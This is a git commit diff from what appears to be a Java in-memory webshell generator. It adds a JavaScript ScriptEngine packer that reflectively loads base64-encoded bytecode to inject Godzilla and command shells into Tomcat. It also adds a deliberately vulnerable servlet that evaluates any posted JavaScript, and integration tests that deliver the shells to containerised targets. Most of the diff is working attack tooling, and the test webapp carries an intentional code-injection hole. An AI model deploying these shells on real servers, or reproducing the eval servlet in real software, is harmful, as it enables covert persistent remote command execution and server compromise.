feat: support JDK8 ScriptEngine packer

generator/src/main/java/com/reajason/javaweb/GeneratorMain.java

@@ -32,7 +32,7 @@ public class GeneratorMain {
             System.out.println(shellConfig.getShellClassName() + " : " + shellBytesBase64Str);
             System.out.println(shellConfig.getInjectorClassName() + " : " + injectorBytesBase64Str);
             System.out.println(shellConfig);
-            Files.write(Paths.get(shellConfig.getShellClassName() + ".class"), generateResult.getShellBytes());
+            Files.write(Paths.get(shellConfig.getInjectorClassName() + ".class"), generateResult.getInjectorBytes());
             JspPacker jspPacker = new JspPacker();
             String jspContent = new String(jspPacker.pack(generateResult));
             System.out.println(jspContent);

generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java

@@ -1,11 +1,39 @@
 package com.reajason.javaweb.memsell.packer;
 
 import com.reajason.javaweb.config.GenerateResult;
+import lombok.Getter;
 
 /**
  * @author ReaJason
  * @since 2024/11/26
  */
 public interface Packer {
+
+    /**
+     * 将生成的内存马打包成指定格式
+     *
+     * @param generateResult 生成的内存马信息
+     * @return 指定格式字节数组
+     */
     byte[] pack(GenerateResult generateResult);
+
+
+    @Getter
+    static enum INSTANCE {
+        /**
+         * JSP 打包器
+         */
+        JSP(new JspPacker()),
+
+        /**
+         * 脚本引擎打包器
+         */
+        ScriptEngine(new ScriptEnginePacker());
+
+        private final Packer packer;
+
+        INSTANCE(Packer packer) {
+            this.packer = packer;
+        }
+    }
 }

generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java

@@ -0,0 +1,23 @@
+package com.reajason.javaweb.memsell.packer;
+
+import com.reajason.javaweb.config.GenerateResult;
+import lombok.SneakyThrows;
+import org.apache.commons.io.IOUtils;
+
+import java.nio.charset.Charset;
+import java.util.Objects;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/3
+ */
+public class ScriptEnginePacker implements Packer {
+    @Override
+    @SneakyThrows
+    public byte[] pack(GenerateResult generateResult) {
+        String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
+        String injectorClassName = generateResult.getInjectorClassName();
+        String jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.js")), Charset.defaultCharset());
+        return jsTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes();
+    }
+}

generator/src/main/resources/shell.js

@@ -0,0 +1,25 @@
+var classLoader = java.lang.Thread.currentThread().getContextClassLoader();
+var className = "{{className}}";
+var base64Str = "{{base64Str}}";
+try {
+    classLoader.loadClass(className).newInstance();
+} catch (e) {
+    var clsString = classLoader.loadClass('java.lang.String');
+    var bytecode;
+    try {
+        var clsBase64 = classLoader.loadClass("java.util.Base64");
+        var clsDecoder = classLoader.loadClass("java.util.Base64$Decoder");
+        var decoder = clsBase64.getMethod("getDecoder").invoke(base64Clz);
+        bytecode = clsDecoder.getMethod("decode", clsString).invoke(decoder, base64Str);
+    } catch (ee) {
+        var datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
+        bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str);
+    }
+    var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');
+    var clsByteArray = classLoader.loadClass('[B');
+    var clsInt = java.lang.Integer.TYPE;
+    var defineClass = clsClassLoader.getDeclaredMethod("defineClass", clsByteArray, clsInt, clsInt);
+    defineClass.setAccessible(true);
+    var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
+    clazz.newInstance();
+}

generator/src/test/java/com/reajason/javaweb/memsell/packer/ScriptEnginePackerTest.java

@@ -0,0 +1,25 @@
+package com.reajason.javaweb.memsell.packer;
+
+import com.reajason.javaweb.config.GenerateResult;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/3
+ */
+class ScriptEnginePackerTest {
+
+    @Test
+    void pack() {
+        GenerateResult generateResult = GenerateResult.builder()
+                .injectorClassName("hehe")
+                .injectorBytesBase64Str("hehe").build();
+        String jsContent = new String(new ScriptEnginePacker().pack(generateResult));
+        System.out.println(jsContent);
+        assertTrue(jsContent.contains("var className = \"hehe\";"));
+        assertTrue(jsContent.contains("var base64Str = \"hehe\";"));
+    }
+
+}

integration-test/docker-compose/tomcat/docker-compose-10.1-jre11.yaml

@@ -5,6 +5,6 @@ services:
       - "8080:8080"
       - "5005:5005"
     environment:
-      JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
+      JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
     volumes:
       - ../../../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/tomcat/webapps/app.war

integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java

@@ -5,17 +5,20 @@ import com.reajason.javaweb.config.CommandShellConfig;
 import com.reajason.javaweb.config.GenerateResult;
 import com.reajason.javaweb.config.Server;
 import com.reajason.javaweb.config.ShellTool;
-import com.reajason.javaweb.memsell.packer.JspPacker;
+import com.reajason.javaweb.memsell.packer.Packer;
+import com.reajason.javaweb.memsell.tomcat.TomcatShell;
 import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
 import okhttp3.HttpUrl;
 import okhttp3.OkHttpClient;
 import okhttp3.Request;
 import okhttp3.Response;
+import org.junit.jupiter.api.Test;
 
 import java.util.Objects;
 
-import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
 
 /**
  * @author ReaJason
@@ -24,11 +27,16 @@ import static org.junit.jupiter.api.Assertions.assertEquals;
 @Slf4j
 public class CommandShellTool {
 
-    public static String generateJsp(Server server, CommandShellConfig config, String shellType, int targetJdkVersion) {
+    @Test
+    void testGenerate() {
+        String content = generate(Server.TOMCAT, CommandShellConfig.builder().paramName("cmd").build(), TomcatShell.JAKARTA_FILTER, Opcodes.V11, Packer.INSTANCE.ScriptEngine);
+        System.out.println(content);
+    }
+
+    public static String generate(Server server, CommandShellConfig config, String shellType, int targetJdkVersion, Packer.INSTANCE packer) {
         ShellTool shellTool = ShellTool.COMMAND;
         GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
-        JspPacker jspPacker = new JspPacker();
+        return new String(packer.getPacker().pack(generateResult));
-        return new String(jspPacker.pack(generateResult));
     }
 
     @SneakyThrows
@@ -44,7 +52,7 @@ public class CommandShellTool {
 
         try (Response response = okHttpClient.newCall(request).execute()) {
             String res = response.body().string();
-            assertEquals("root", res.trim());
+            assertTrue(res.contains("root"));
         }
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java

@@ -6,7 +6,7 @@ import com.reajason.javaweb.config.GodzillaShellConfig;
 import com.reajason.javaweb.config.Server;
 import com.reajason.javaweb.config.ShellTool;
 import com.reajason.javaweb.godzilla.GodzillaManager;
-import com.reajason.javaweb.memsell.packer.JspPacker;
+import com.reajason.javaweb.memsell.packer.Packer;
 
 import java.io.IOException;
 
@@ -18,11 +18,22 @@ import static org.junit.jupiter.api.Assertions.assertTrue;
  */
 public class GodzillaShellTool {
 
-    public static String generateJsp(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion) {
+    public static String generate(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion, Packer.INSTANCE packer) {
         ShellTool shellTool = ShellTool.Godzilla;
         GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
-        JspPacker jspPacker = new JspPacker();
+        return new String(packer.getPacker().pack(generateResult));
-        return new String(jspPacker.pack(generateResult));
+    }
+
+    public static String generateJSP(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion) {
+        ShellTool shellTool = ShellTool.Godzilla;
+        GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
+        return new String(Packer.INSTANCE.JSP.getPacker().pack(generateResult));
+    }
+
+    public static String generateJS(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion) {
+        ShellTool shellTool = ShellTool.Godzilla;
+        GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
+        return new String(Packer.INSTANCE.ScriptEngine.getPacker().pack(generateResult));
     }
 
     public static void testIsOk(String entrypoint, GodzillaShellConfig shellConfig) {

integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java

@@ -35,4 +35,18 @@ public class VulTool {
             Assertions.assertEquals(200, response.code());
         }
     }
+
+    @SneakyThrows
+    public static void postJS(String uploadUrl, String js) {
+        RequestBody requestBody = new FormBody.Builder()
+                .add("js", js)
+                .build();
+        Request request = new Request.Builder()
+                .header("Content-Type", "application/x-www-form-urlencoded")
+                .url(uploadUrl).post(requestBody)
+                .build();
+        try (Response response = new OkHttpClient().newCall(request).execute()) {
+            Assertions.assertEquals(200, response.code());
+        }
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/TomcatIntegrationTest.java

@@ -6,6 +6,7 @@ import com.reajason.javaweb.config.Server;
 import com.reajason.javaweb.integration.CommandShellTool;
 import com.reajason.javaweb.integration.GodzillaShellTool;
 import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.memsell.packer.Packer;
 import com.reajason.javaweb.memsell.tomcat.TomcatShell;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
@@ -57,14 +58,14 @@ public class TomcatIntegrationTest {
 
         @ParameterizedTest(name = tomcat6ImageName + "|{0}Godzilla|JSP")
         @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
-        void testGodzilla(String shellType) {
+        void testGodzillaJSP(String shellType) {
-            testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_6);
+            testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V1_6, Packer.INSTANCE.JSP);
         }
 
         @ParameterizedTest(name = tomcat6ImageName + "|{0}Command|JSP")
         @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
-        void testCommand(String shellType) {
+        void testCommandJSP(String shellType) {
-            testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_6);
+            testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V1_6, Packer.INSTANCE.JSP);
         }
     }
 
@@ -80,14 +81,15 @@ public class TomcatIntegrationTest {
 
         @ParameterizedTest(name = tomcat7ImageName + "|{0}Godzilla|JSP")
         @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
-        void testGodzilla(String shellType) {
+        void testGodzillaJSP(String shellType) {
-            testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_7);
+            testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V1_7, Packer.INSTANCE.JSP);
         }
 
+
         @ParameterizedTest(name = tomcat7ImageName + "|{0}Command|JSP")
         @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
-        void testCommand(String shellType) {
+        void testCommandJSP(String shellType) {
-            testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_7);
+            testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V1_7, Packer.INSTANCE.JSP);
         }
     }
 
@@ -102,14 +104,26 @@ public class TomcatIntegrationTest {
 
         @ParameterizedTest(name = tomcat8ImageName + "|{0}Godzilla|JSP")
         @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
-        void testGodzilla(String shellType) {
+        void testGodzillaJSP(String shellType) {
-            testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8);
+            testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8, Packer.INSTANCE.JSP);
+        }
+
+        @ParameterizedTest(name = tomcat8ImageName + "|{0}Godzilla|JS")
+        @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
+        void testGodzillaJS(String shellType) {
+            testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8, Packer.INSTANCE.ScriptEngine);
         }
 
         @ParameterizedTest(name = tomcat8ImageName + "|{0}Command|JSP")
         @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
-        void testCommand(String shellType) {
+        void testCommandJSP(String shellType) {
-            testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8);
+            testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8, Packer.INSTANCE.JSP);
+        }
+
+        @ParameterizedTest(name = tomcat8ImageName + "|{0}Command|JS")
+        @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
+        void testCommandJS(String shellType) {
+            testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8, Packer.INSTANCE.ScriptEngine);
         }
     }
 
@@ -124,14 +138,14 @@ public class TomcatIntegrationTest {
 
         @ParameterizedTest(name = tomcat9ImageName + "|{0}Godzilla|JSP")
         @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
-        void testGodzilla(String shellType) {
+        void testGodzillaJSP(String shellType) {
-            testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V9);
+            testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V9, Packer.INSTANCE.JSP);
         }
 
         @ParameterizedTest(name = tomcat9ImageName + "|{0}Command|JSP")
         @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
-        void testCommand(String shellType) {
+        void testCommandJSP(String shellType) {
-            testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V9);
+            testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V9, Packer.INSTANCE.JSP);
         }
     }
 
@@ -146,14 +160,14 @@ public class TomcatIntegrationTest {
 
         @ParameterizedTest(name = tomcat10ImageName + "|{0}Godzilla|JSP")
         @ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE})
-        void testGodzilla(String shellType) {
+        void testGodzillaJSP(String shellType) {
-            testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V11);
+            testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V11, Packer.INSTANCE.JSP);
         }
 
         @ParameterizedTest(name = tomcat10ImageName + "|{0}Command|JSP")
         @ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE})
-        void testCommand(String shellType) {
+        void testCommandJSP(String shellType) {
-            testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V11);
+            testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V11, Packer.INSTANCE.JSP);
         }
     }
 
@@ -168,18 +182,18 @@ public class TomcatIntegrationTest {
 
         @ParameterizedTest(name = tomcat11ImageName + "|{0}Godzilla|JSP")
         @ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE})
-        void testGodzilla(String shellType) {
+        void testGodzillaJSP(String shellType) {
-            testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V17);
+            testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V17, Packer.INSTANCE.JSP);
         }
 
         @ParameterizedTest(name = tomcat11ImageName + "|{0}Command|JSP")
         @ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE})
-        void testCommand(String shellType) {
+        void testCommandJSP(String shellType) {
-            testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V17);
+            testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V17, Packer.INSTANCE.JSP);
         }
     }
 
-    private void testGodzillaJspInjectAssertOk(String url, String shellType, int targetJdkVersion) {
+    private void testGodzillaAssertOk(String url, String shellType, int targetJdkVersion, Packer.INSTANCE packer) {
         String pass = "pass" + shellType;
         String key = "key" + shellType;
         String headerValue = "Godzilla" + shellType;
@@ -187,26 +201,38 @@ public class TomcatIntegrationTest {
                 .pass(pass).key(key)
                 .headerName("User-Agent").headerValue(headerValue)
                 .build();
-        String jspContent = GodzillaShellTool.generateJsp(Server.TOMCAT, shellConfig, shellType, targetJdkVersion);
         log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue);
-        String filename = shellType + ".jsp";
+        String content = GodzillaShellTool.generate(Server.TOMCAT, shellConfig, shellType, targetJdkVersion, packer);
-        String uploadEntry = url + "/upload";
+        String shellUrl = url + "/";
-        String jspEntry = url + "/" + filename;
+        if (Packer.INSTANCE.JSP.equals(packer)) {
-        VulTool.uploadJspFileToServer(uploadEntry, filename, jspContent);
+            String uploadEntry = url + "/upload";
-        VulTool.urlIsOk(jspEntry);
+            String filename = shellType + ".jsp";
-        GodzillaShellTool.testIsOk(jspEntry, shellConfig);
+            shellUrl = url + "/" + filename;
+            VulTool.uploadJspFileToServer(uploadEntry, filename, content);
+            VulTool.urlIsOk(shellUrl);
+        } else if (Packer.INSTANCE.ScriptEngine.equals(packer)) {
+            String uploadEntry = url + "/js";
+            VulTool.postJS(uploadEntry, content);
+        }
+        GodzillaShellTool.testIsOk(shellUrl, shellConfig);
     }
 
-    private void testCommandJspInjectAssertOk(String url, String shellType, int targetJdkVersion) {
+    private void testCommandAssertOk(String url, String shellType, int targetJdkVersion, Packer.INSTANCE packer) {
         String paramName = "Command" + shellType;
         CommandShellConfig config = CommandShellConfig.builder().paramName(paramName).build();
-        String jspContent = CommandShellTool.generateJsp(Server.TOMCAT, config, shellType, targetJdkVersion);
+        String content = CommandShellTool.generate(Server.TOMCAT, config, shellType, targetJdkVersion, packer);
         log.info("generated {} command shell with paramName: {}", shellType, config.getParamName());
-        String filename = shellType + ".jsp";
+        String shellUrl = url + "/";
-        String uploadEntry = url + "/upload";
+        if (Packer.INSTANCE.JSP.equals(packer)) {
-        String jspEntry = url + "/" + filename;
+            String uploadEntry = url + "/upload";
-        VulTool.uploadJspFileToServer(uploadEntry, filename, jspContent);
+            String filename = shellType + ".jsp";
-        VulTool.urlIsOk(jspEntry);
+            shellUrl = url + "/" + filename;
-        CommandShellTool.testIsOk(jspEntry, config);
+            VulTool.uploadJspFileToServer(uploadEntry, filename, content);
+            VulTool.urlIsOk(shellUrl);
+        } else if (Packer.INSTANCE.ScriptEngine.equals(packer)) {
+            String uploadEntry = url + "/js";
+            VulTool.postJS(uploadEntry, content);
+        }
+        CommandShellTool.testIsOk(shellUrl, config);
     }
 }

vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml

@@ -10,6 +10,7 @@
         <welcome-file>index.html</welcome-file>
     </welcome-file-list>
 
+    <!-- 用于 JSP 文件上传-->
     <servlet>
         <servlet-name>upload</servlet-name>
         <servlet-class>UploadServlet</servlet-class>
@@ -18,12 +19,15 @@
         <servlet-name>upload</servlet-name>
         <url-pattern>/upload</url-pattern>
     </servlet-mapping>
-    <filter>
+
-        <filter-name>godzilla</filter-name>
+
-        <filter-class>ErrorHandler</filter-class>
+    <!-- 用于调试 filter 内存马 -->
-    </filter>
+    <!--    <filter>-->
-    <filter-mapping>
+    <!--        <filter-name>godzilla</filter-name>-->
-        <filter-name>godzilla</filter-name>
+    <!--        <filter-class>ErrorHandler</filter-class>-->
-        <url-pattern>/*</url-pattern>
+    <!--    </filter>-->
-    </filter-mapping>
+    <!--    <filter-mapping>-->
+    <!--        <filter-name>godzilla</filter-name>-->
+    <!--        <url-pattern>/*</url-pattern>-->
+    <!--    </filter-mapping>-->
 </web-app>

vul-webapp/src/main/java/ScriptEngineServlet.java

@@ -0,0 +1,26 @@
+import javax.script.ScriptEngineFactory;
+import javax.script.ScriptEngineManager;
+import javax.script.ScriptException;
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.xml.bind.DatatypeConverter;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/3
+ */
+public class ScriptEngineServlet extends HttpServlet {
+    @Override
+    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+        String js = req.getParameter("js");
+        try {
+            Object eval = new ScriptEngineManager().getEngineByName("js").eval(js);
+            resp.getWriter().println(eval.toString());
+        } catch (ScriptException e) {
+            throw new RuntimeException(e);
+        }
+    }
+}

vul-webapp/src/main/webapp/WEB-INF/web.xml

@@ -15,6 +15,7 @@
         <url-pattern>/test</url-pattern>
     </servlet-mapping>
 
+    <!-- 用于 JSP 文件上传-->
     <servlet>
         <servlet-name>upload</servlet-name>
         <servlet-class>UploadServlet</servlet-class>
@@ -24,10 +25,23 @@
         <url-pattern>/upload</url-pattern>
     </servlet-mapping>
 
-    <listener>
+    <!-- 用于脚本引擎执行 JS -->
-        <listener-class>ErrorListener</listener-class>
+    <servlet>
-    </listener>
+        <servlet-name>js</servlet-name>
+        <servlet-class>ScriptEngineServlet</servlet-class>
+    </servlet>
+    <servlet-mapping>
+        <servlet-name>js</servlet-name>
+        <url-pattern>/js</url-pattern>
+    </servlet-mapping>
 
+
+    <!-- 测试 listener 内存马 -->
+    <!--    <listener>-->
+    <!--        <listener-class>ErrorListener</listener-class>-->
+    <!--    </listener>-->
+
+    <!-- 测试 filter 内存马 -->
     <!--    <filter>-->
     <!--        <filter-name>godzilla</filter-name>-->
     <!--        <filter-class>ErrorHandler</filter-class>-->